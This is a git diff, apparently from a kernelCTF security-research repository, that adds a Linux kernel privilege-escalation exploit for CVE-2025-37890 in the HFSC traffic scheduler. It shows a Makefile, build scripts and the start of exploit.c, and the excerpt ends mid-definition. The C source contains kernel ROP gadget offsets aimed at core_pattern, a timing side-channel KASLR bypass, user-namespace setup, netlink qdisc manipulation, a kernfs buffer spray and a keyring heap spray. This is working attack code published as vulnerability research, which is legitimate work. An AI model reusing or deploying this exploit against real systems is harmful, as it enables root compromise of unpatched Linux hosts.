struct tc_service_curve *rsc, struct tc_service_curve *fsc, struct tc_service_curve *usc) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE | NLM_F_ACK; + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + + tcm->tcm_handle = child_handle; + tcm->tcm_parent = parent_handle; + mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + + if (rsc) + mnl_attr_put(nlh, TCA_HFSC_RSC, sizeof(struct tc_service_curve), rsc); + if (fsc) + mnl_attr_put(nlh, TCA_HFSC_FSC, sizeof(struct tc_service_curve), fsc); + if (usc) + mnl_attr_put(nlh, TCA_HFSC_USC, sizeof(struct tc_service_curve), usc); + + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int delete_class(int sock_fd, __u32 my_handle, __u32 parent_handle, const char *kind) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_DELTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, kind); + + return netlink_send(sock_fd, nlh); +} + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/.gitignore b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/.gitignore new file mode 100644 index 000000000..37080beee --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/.gitignore @@ -0,0 +1,6 @@ +*build/* +gdb_stuff/ +out/ +tools/ +exp +exploit_debug \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile new file mode 100644 index 000000000..16d13e583 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile @@ -0,0 +1,86 @@ +# taken from: https://github.com/google/security-research/blob/1bb2f8c8d95a34cafe7861bc890cfba5d85ec141/pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile + +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build +LIBNFNETLINK_DIR = $(realpath ./)/libnfnetlink_build +LIBNETFILTER_QUEUE_DIR = $(realpath ./)/libnetfilterqueue_build +LIBIPTC_DIR = $(realpath ./)/libiptc_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -L$(LIBNFNETLINK_DIR)/install/lib -L$(LIBNETFILTER_QUEUE_DIR)/install/lib -L$(LIBIPTC_DIR)/install/lib -lxtables -lip4tc -lnftnl -lmnl -lnetfilter_queue -lnfnetlink +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -I$(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2/include -I$(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5/include -I$(LIBIPTC_DIR)/iptables-1.8.9/include +CFLAGS = -static -s + +exploit: exp + tar czf exp.tar.gz exp tc xtables-legacy-multi + cp run.sh exploit + fallocate -l 512 exploit + dd if=exp.tar.gz of=exploit conv=notrunc oflag=append + rm exp.tar.gz + cp exp exploit_debug + +exp: exploit.c *.h + gcc -g -o exp exploit.c -Wall -Wunused -Wextra -Werror -Wno-int-to-pointer-cast $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libnftnl-build libnetfilter-queue-build libiptc-build + +libiptc-build : libiptc-download #libmnl-build libnftnl-build + tar -C $(LIBIPTC_DIR) -xvf $(LIBIPTC_DIR)/iptables-1.8.9.tar.xz + cd $(LIBIPTC_DIR)/iptables-1.8.9 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig:$(LIBNFTNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBIPTC_DIR)/iptables-1.8.9 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include::$(LIBNFTNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib:$(LIBNFTNL_DIR)/install/lib make -j`nproc` + cd $(LIBIPTC_DIR)/iptables-1.8.9 && make install + +libiptc-download: + mkdir $(LIBIPTC_DIR) + wget -P $(LIBIPTC_DIR) https://netfilter.org/projects/iptables/files/iptables-1.8.9.tar.xz + + +libnfnetlink-build : libnfnetlink-download + tar -C $(LIBNFNETLINK_DIR) -xvf $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2.tar.bz2 + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && make -j`nproc` + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && make install + +libnetfilter-queue-build : libnetfilter-queue-download libnfnetlink-build #libmnl-build + tar -C $(LIBNETFILTER_QUEUE_DIR) -xvf $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5.tar.bz2 + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && PKG_CONFIG_PATH=$(LIBNFNETLINK_DIR)/install/lib/pkgconfig:$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBNFNETLINK_DIR)/install/include:$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBNFNETLINK_DIR)/install/lib:$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && make install + +libnetfilter-queue-download: + mkdir $(LIBNETFILTER_QUEUE_DIR) + wget -P $(LIBNETFILTER_QUEUE_DIR) https://netfilter.org/projects/libnetfilter_queue/files/libnetfilter_queue-1.0.5.tar.bz2 + +libnfnetlink-download: + mkdir $(LIBNFNETLINK_DIR) + wget -P $(LIBNFNETLINK_DIR) https://netfilter.org/projects/libnfnetlink/files/libnfnetlink-1.0.2.tar.bz2 + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exp + +clean: + rm -f exp + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -rf $(LIBNFNETLINK_DIR) + rm -rf $(LIBNETFILTER_QUEUE_DIR) + rm -rf $(LIBIPTC_DIR) \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/build.sh b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/build.sh new file mode 100755 index 000000000..f84440717 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/build.sh @@ -0,0 +1,6 @@ +#!/bin/bash +set -euo pipefail +make exp + +mkdir -p out +cp exp out/ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit new file mode 100644 index 000000000..2d8de50ca Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c new file mode 100644 index 000000000..85a595498 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c @@ -0,0 +1,1373 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* the L2 protocols */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// #include "helper.h" + +// #include "utils/repeat_req.h" // req stuff +// #include "utils/pwn_env.h" // unshare stuff +// #include "utils/pwn_env3.h" +// #include "utils/iplink.h" + +// #include "utils/leaks.h" + +// FIXME: remove this +void cyclic(char *s, size_t n) +{ + unsigned char seq[4] = {0, 0, 0, 0}; + for (size_t i = 0; i * 4 < n; i++) + { + for (size_t j = 0; j < n - i * 4; j++) + { + s[i * 4 + j] = seq[3 - j] + 'a'; + } + + // increment loop + if (++seq[3] == 26) + { + seq[3] = 0; + if (++seq[2] == 26) + { + seq[2] = 0; + if (++seq[1] == 26) + { + seq[1] = 0; + ++seq[0]; + } + } + } + } +} + +// Kernel base address +uint64_t g_kernel_base = 0xffffffff81000000; + +// miti 6.1.55 offsets +// kernfs_pr_cont_buf +#define KERNFS_ADDR (0xffffffff84716940 - 0xffffffff81000000 + g_kernel_base) +#define CORE_PATTERN (0xffffffff83bbace0 - 0xffffffff81000000 + g_kernel_base) + +// 0xffffffff8117fab8: mov rsp, rbp; pop rbp; pop r15; pop r13; pop r12; jmp 0xffffffff82605280 <__x86_return_thunk>; +#define PIVOT_RBP (0xffffffff8117fab8 - 0xffffffff81000000 + g_kernel_base) +#define POP_RSP (0xffffffff8224859b - 0xffffffff81000000 + g_kernel_base) + +#define QDISC_RESET (0xffffffff81e83860 - 0xffffffff81000000 + g_kernel_base) + +#define POP_RDI (0xffffffff821f1a4d - 0xffffffff81000000 + g_kernel_base) +#define POP_RSI (0xffffffff8223c6f0 - 0xffffffff81000000 + g_kernel_base) +#define POP_RAX (0xffffffff8223f9a5 - 0xffffffff81000000 + g_kernel_base) +#define JMP_RAX (0xffffffff821f5fbe - 0xffffffff81000000 + g_kernel_base) +#define STRCPY (0xffffffff821bc6f0 - 0xffffffff81000000 + g_kernel_base) + +/* common utils */ +void fatal(const char *msg) +{ + printf("[Fatal!] "); + puts(msg); + fflush(stdout); + fflush(stderr); + exit(EXIT_FAILURE); +} + +#define SYSOK(x) ({ \ + typeof(x) __res = (x); \ + if (__res != (typeof(x))0) \ + err(1, "[fail] SYSOK(" #x ")"); \ + __res; \ +}) + +void set_cpu(int c) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(c, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +void mypause() +{ + printf("[~] pausing... (press enter to continue)\n"); + char scratch[11]; + read(0, scratch, 10); // wait for input +} +/* common utils end */ + +/*KASLR leak*/ +inline __attribute__((always_inline)) uint64_t rdtsc_begin() +{ + uint64_t a, d; + asm volatile("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() +{ + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +void prefetch(void *p) +{ + asm volatile( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r"(p)); +} + +size_t flushandreload(void *addr) // row miss +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +#include +int cpu_is_intel(void) +{ + unsigned int eax, ebx, ecx, edx; + char vendor[13]; + + if (!__get_cpuid(0, &eax, &ebx, &ecx, &edx)) + return -1; + + memcpy(vendor + 0, &ebx, 4); + memcpy(vendor + 4, &edx, 4); + memcpy(vendor + 8, &ecx, 4); + vendor[12] = '\0'; + + if (strcmp(vendor, "GenuineIntel") == 0) + return 1; + + if (strcmp(vendor, "AuthenticAMD") == 0) + return 0; + + fatal("Unknown CPU type"); + return -1; +} + +#define ARRAY_LEN(x) ((int)(sizeof(x) / sizeof(x[0]))) +size_t kaslr_leak() +{ + const int is_cpu_intel = cpu_is_intel(); + uint64_t base; + if (is_cpu_intel) + { +#define OFFSET 0 +#define START_INTEL (0xffffffff81000000ull + OFFSET) +#define END_INTEL (0xffffffffD0000000ull + OFFSET) +#define STEP_INTEL 0x0000000001000000ull + while (1) + { + uint64_t bases[7] = {0}; + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END_INTEL - START_INTEL) / STEP_INTEL] = {}; + uint64_t addrs[(END_INTEL - START_INTEL) / STEP_INTEL]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START_INTEL + STEP_INTEL * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + size_t minv = ~0; + size_t mini = -1; + for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) + { + if (times[ti] < minv) + { + mini = ti; + minv = times[ti]; + } + } + + if (mini == (size_t)-1) + { + return -1; + } + + bases[vote] = addrs[mini]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + base -= OFFSET; + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %zx with %d votes\n", base, c); + } + } + else + { +#define START_AMD (0xffffffff81000000ull) +#define END_AMD (0xffffffffc0000000ull) +#define STEP_AMD 0x0000000000200000ull +#define NUM_TRIALS 9 +// largest contiguous mapped area at the beginning of _stext +#define WINDOW_SIZE 11 + + while (1) + { + uint64_t bases[NUM_TRIALS] = {0}; + + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END_AMD - START_AMD) / STEP_AMD] = {}; + uint64_t addrs[(END_AMD - START_AMD) / STEP_AMD]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START_AMD + STEP_AMD * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + uint64_t max = 0; + int max_i = 0; + for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) + { + uint64_t sum = 0; + for (int i = 0; i < WINDOW_SIZE; i++) + { + sum += times[ti + i]; + } + if (sum > max) + { + max = sum; + max_i = ti; + } + } + + bases[vote] = addrs[max_i]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %zx with %d votes\n", base, c); + } + } + +got_base: + + return base; +} +/*KASLR leak end*/ + +// Unshare stuff +// Write to a file so we can set our user ids +int write_mapping(const char *path, const char *content) +{ + int fd = open(path, O_WRONLY); + if (fd == -1) + { + printf("Failed to open %s: %s\n", path, strerror(errno)); + return -1; + } + + if (write(fd, content, strlen(content)) != (ssize_t)strlen(content)) + { + printf("Failed to write to %s: %s\n", path, strerror(errno)); + close(fd); + return -1; + } + close(fd); + return 0; +} + +void setup_userns(void) +{ + // Unshare into new user namespace + if (unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) == -1) + { + printf("unshare failed: %s\n", strerror(errno)); + exit(-1); + } + + // First disable setgroups + if (write_mapping("/proc/self/setgroups", "deny") == -1) + { + printf("Failed to disable setgroups\n"); + exit(-1); + } + + // Then map our UID and GID + if (write_mapping("/proc/self/uid_map", "0 1000 1") == -1 || + write_mapping("/proc/self/gid_map", "0 1000 1") == -1) + { + printf("Failed to write ID mappings\n"); + exit(-1); + } +} + +/*netlink utils*/ +struct netlink_send_cb_struct +{ + void (*cb)(char *, size_t, void *); + void *cb_out; +}; + +int __netlink_send(int fd, const void *nlh, size_t size, char *nlbuf, size_t nlbuf_sz, int has_done_msg, struct netlink_send_cb_struct *cb_info) +{ + char nlbuf_cb_scratch[1024]; + struct iovec iov = { + .iov_base = (void *)nlh, + .iov_len = size, + }; + struct msghdr msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0, + }; + + if (sendmsg(fd, &msg, 0) < 0) + { + perror("sendmsg()"); + return -1; + } + ssize_t ret = recvfrom(fd, nlbuf, nlbuf_sz, 0, NULL, NULL); + if (ret == -1) + { + perror("recvfrom()"); + return -1; + } + + if (has_done_msg) + { + ssize_t ret2 = recvfrom(fd, &nlbuf_cb_scratch, sizeof(nlbuf_cb_scratch), 0, NULL, NULL); // done msg TODO: not all requests have this... + if (ret2 == -1) + { + perror("recvfrom()"); + return -1; + } + } + + struct nlmsghdr *response_nlh = (struct nlmsghdr *)nlbuf; + { + struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(response_nlh); + if (err->error) + { + fprintf(stderr, "Netlink Result: %s\n", strerror(-err->error)); + return -err->error; + } + } + + if (cb_info) + cb_info->cb(nlbuf, ret, cb_info->cb_out); + return 0; +} + +int netlink_send(int fd, const struct nlmsghdr *nlh) +{ + char nlbuf[4096] = {0}; // Buffer to store the response + return __netlink_send(fd, nlh, nlh->nlmsg_len, nlbuf, sizeof(nlbuf), 0, NULL); +} + +int netlink_open(int proto) +{ + struct sockaddr_nl addr = {0}; + addr.nl_family = AF_NETLINK; + + int s = socket(AF_NETLINK, SOCK_RAW, proto); + if (s < 0) + { + perror("socket()"); + return s; + } + if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) + { + perror("bind()"); + return -1; + } + + return s; +} +/*netlink utils end*/ + +/*interface helpers*/ +// Helper function to prepare and send netlink message +int send_netlink_message(int sock, struct nlmsghdr *nlh) +{ + struct sockaddr_nl nladdr = {0}; + struct iovec iov; + struct msghdr msg = {0}; + + nladdr.nl_family = AF_NETLINK; + + iov.iov_base = nlh; + iov.iov_len = nlh->nlmsg_len; + + msg.msg_name = &nladdr; + msg.msg_namelen = sizeof(nladdr); + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + + return sendmsg(sock, &msg, 0); +} + +int set_interface_flags(int sock, const char *ifname, int flags, int change) +{ + struct + { + struct nlmsghdr nlh; + struct ifinfomsg ifm; + char buf[64]; + } req; + + // Prepare the netlink request + memset(&req, 0, sizeof(req)); + + // Setup the netlink header + req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nlh.nlmsg_type = RTM_SETLINK; + req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req.nlh.nlmsg_seq = 1; + + // Setup the interface info message + req.ifm.ifi_family = AF_UNSPEC; + req.ifm.ifi_index = if_nametoindex(ifname); + if (req.ifm.ifi_index == 0) + { + perror("if_nametoindex"); + close(sock); + return -1; + } + + // Set the interface flags + req.ifm.ifi_change = change; + req.ifm.ifi_flags = flags; + + // Send the netlink message + if (send_netlink_message(sock, &req.nlh) < 0) + { + perror("send_netlink_message"); + close(sock); + return -1; + } + + // Read the ACK response + char buf[4096]; + int len; + struct nlmsghdr *resp_nlh; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) + { + perror("recv"); + close(sock); + return -1; + } + + resp_nlh = (struct nlmsghdr *)buf; + if (resp_nlh->nlmsg_type == NLMSG_ERROR) + { + struct nlmsgerr *err = NLMSG_DATA(resp_nlh); + if (err->error != 0) + { + fprintf(stderr, "Netlink error: %s\n", strerror(-err->error)); + close(sock); + return -1; + } + } + return 0; +} + +// Function to bring an interface up +int set_interface_up(int fd, const char *ifname) +{ + return set_interface_flags(fd, ifname, IFF_UP, IFF_UP); +} + +// Function to bring an interface down +int set_interface_down(int fd, const char *ifname) +{ + return set_interface_flags(fd, ifname, 0, IFF_UP); +} + +// Function to set interface MTU +int set_interface_mtu(int sock, const char *ifname, int mtu) +{ + struct + { + struct nlmsghdr nlh; + struct ifinfomsg ifm; + char buf[128]; + } req; + struct rtattr *rta; + + // Create a netlink socket + sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock < 0) + { + perror("socket"); + return -1; + } + + // Prepare the netlink request + memset(&req, 0, sizeof(req)); + + // Setup the netlink header + req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nlh.nlmsg_type = RTM_SETLINK; + req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req.nlh.nlmsg_seq = 1; + + // Setup the interface info message + req.ifm.ifi_family = AF_UNSPEC; + req.ifm.ifi_index = if_nametoindex(ifname); + if (req.ifm.ifi_index == 0) + { + perror("if_nametoindex"); + close(sock); + return -1; + } + + // Add the MTU attribute + rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len)); + rta->rta_type = IFLA_MTU; + rta->rta_len = RTA_LENGTH(sizeof(int)); + memcpy(RTA_DATA(rta), &mtu, sizeof(int)); + req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(sizeof(int)); + + // Send the netlink message + if (send_netlink_message(sock, &req.nlh) < 0) + { + perror("send_netlink_message"); + close(sock); + return -1; + } + + // Read the ACK response + char buf[4096]; + int len; + struct nlmsghdr *resp_nlh; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) + { + perror("recv"); + close(sock); + return -1; + } + + resp_nlh = (struct nlmsghdr *)buf; + if (resp_nlh->nlmsg_type == NLMSG_ERROR) + { + struct nlmsgerr *err = NLMSG_DATA(resp_nlh); + if (err->error != 0) + { + fprintf(stderr, "Netlink error: %s\n", strerror(-err->error)); + close(sock); + return -1; + } + } + + return 0; +} +/*interface helpers end*/ + +/*requests*/ +char *PWN_DST_IP = "127.0.0.1"; +int _send_req(int priority, int no_block, const char *payload, const size_t payload_len) +{ + int sock; + struct sockaddr_in server; + + // Create UDP socket + sock = socket(AF_INET, SOCK_DGRAM, 0); + if (sock < 0) + { + perror("Failed to create socket"); + return 1; + } + + if (setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)) < 0) + { + perror("Failed to set socket priority"); + close(sock); + return 1; + } + + if (!no_block) + { + // Set socket to non-blocking mode + int flags = fcntl(sock, F_GETFL, 0); + if (flags < 0) + { + perror("Failed to get socket flags"); + close(sock); + return 1; + } + if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) + { + perror("Failed to set socket to non-blocking"); + close(sock); + return 1; + } + } + + // Configure server address + memset(&server, 0, sizeof(server)); + server.sin_family = AF_INET; + server.sin_port = htons(8888); + if (inet_pton(AF_INET, PWN_DST_IP, &server.sin_addr) <= 0) + { + perror("Invalid address"); + close(sock); + return 1; + } + + // Send empty datagram + if (sendto(sock, payload, payload_len, 0, (struct sockaddr *)&server, sizeof(server)) < 0) + { + perror("Failed to send"); + close(sock); + return 1; + } + + close(sock); + return 0; +} + +int send_req(int priority) +{ + return _send_req(priority, 0, "", 0); +} + +int send_req_with_payload(int priority, const char *payload, const size_t payload_len) +{ + return _send_req(priority, 0, payload, payload_len); +} +/*requests end*/ + +/*util functions for tc*/ +int get_qdisc_handle(__u32 *h, const char *str) +{ + *h = 0; + __u32 maj; + char *p; + + maj = TC_H_UNSPEC; + if (strcmp(str, "none") == 0) + goto ok; + maj = strtoul(str, &p, 16); + if (p == str || maj >= (1 << 16)) + return -1; + maj <<= 16; + if (*p != ':' && *p != 0) + return -1; +ok: + *h = maj; + return 0; +} + +int get_tc_classid(__u32 *h, const char *str) +{ + __u32 maj, min; + char *p; + + maj = TC_H_ROOT; + if (strcmp(str, "root") == 0) + goto ok; + maj = TC_H_UNSPEC; + if (strcmp(str, "none") == 0) + goto ok; + maj = strtoul(str, &p, 16); + if (p == str) + { + maj = 0; + if (*p != ':') + return -1; + } + if (*p == ':') + { + if (maj >= (1 << 16)) + return -1; + maj <<= 16; + str = p + 1; + min = strtoul(str, &p, 16); + if (*p != 0) + return -1; + if (min >= (1 << 16)) + return -1; + maj |= min; + } + else if (*p != 0) + return -1; + +ok: + *h = maj; + return 0; +} + +static __u32 get_id(const char *s_class) +{ + __u32 result; + SYSOK(get_tc_classid(&result, s_class)); + return result; +} +/*util functions for tc end*/ + +/*kernfs section*/ +uint8_t kernfs_data[4096] = {0}; + +// Send controlled data to deducible address in kernel from kernel base +void fill_kernfs_buf(void) +{ + // Create a lockfile that we can actually use + setenv("XTABLES_LOCKFILE", "/tmp/xtables.lock", 1); + + // Redirect stdout and stderr to /dev/null + int devnull = open("/dev/null", O_WRONLY); + if (devnull < 0) + { + exit(-1); + } + dup2(devnull, STDOUT_FILENO); + dup2(devnull, STDERR_FILENO); + close(devnull); + + // Execute iptables to fill buffer + execl("./xtables-legacy-multi", "iptables", "-A", "OUTPUT", "-m", "cgroup", "--path", + kernfs_data, (char *)NULL); +} + +size_t validate_kernfs_val(size_t val) +{ + + for (int i = 0; i < 8; i++) + { + if (((val >> (i * 8)) & 0xFF) == 0) + { + fatal("val has null!"); + return 1; + } + } + return val; +} + +// Send kernfs data to the kernel +void send_kernfs_data(void) +{ + int pid = fork(); + if (pid < 0) + { + perror("fork"); + exit(-1); + } + + // Child + if (pid == 0) + { + fill_kernfs_buf(); // Doesn't return + } + + // Parent, wait for child to finish + int status; + waitpid(pid, &status, 0); +} +/*kernfs section end*/ + +/*keyring section*/ +#define KEY_DESC_SIZE (0x200 - 0x18 + 1) +char key_desc[KEY_DESC_SIZE]; + +typedef int32_t key_serial_t; + +static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) +{ + return syscall(__NR_add_key, type, description, payload, plen, ringid); +} + +key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) +{ + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); + + if (id_buffer == NULL) + fatal("calloc"); + + for (uint32_t i = start; i < start + spray_size; i++) + { + key_desc[0] = '\x01' + i; + id_buffer[i] = add_key("user", key_desc, key_desc, sizeof(key_desc), KEY_SPEC_PROCESS_KEYRING); + } + + return id_buffer; +} +/*keyring section end*/ + +/*sendmsg section start*/ +#define 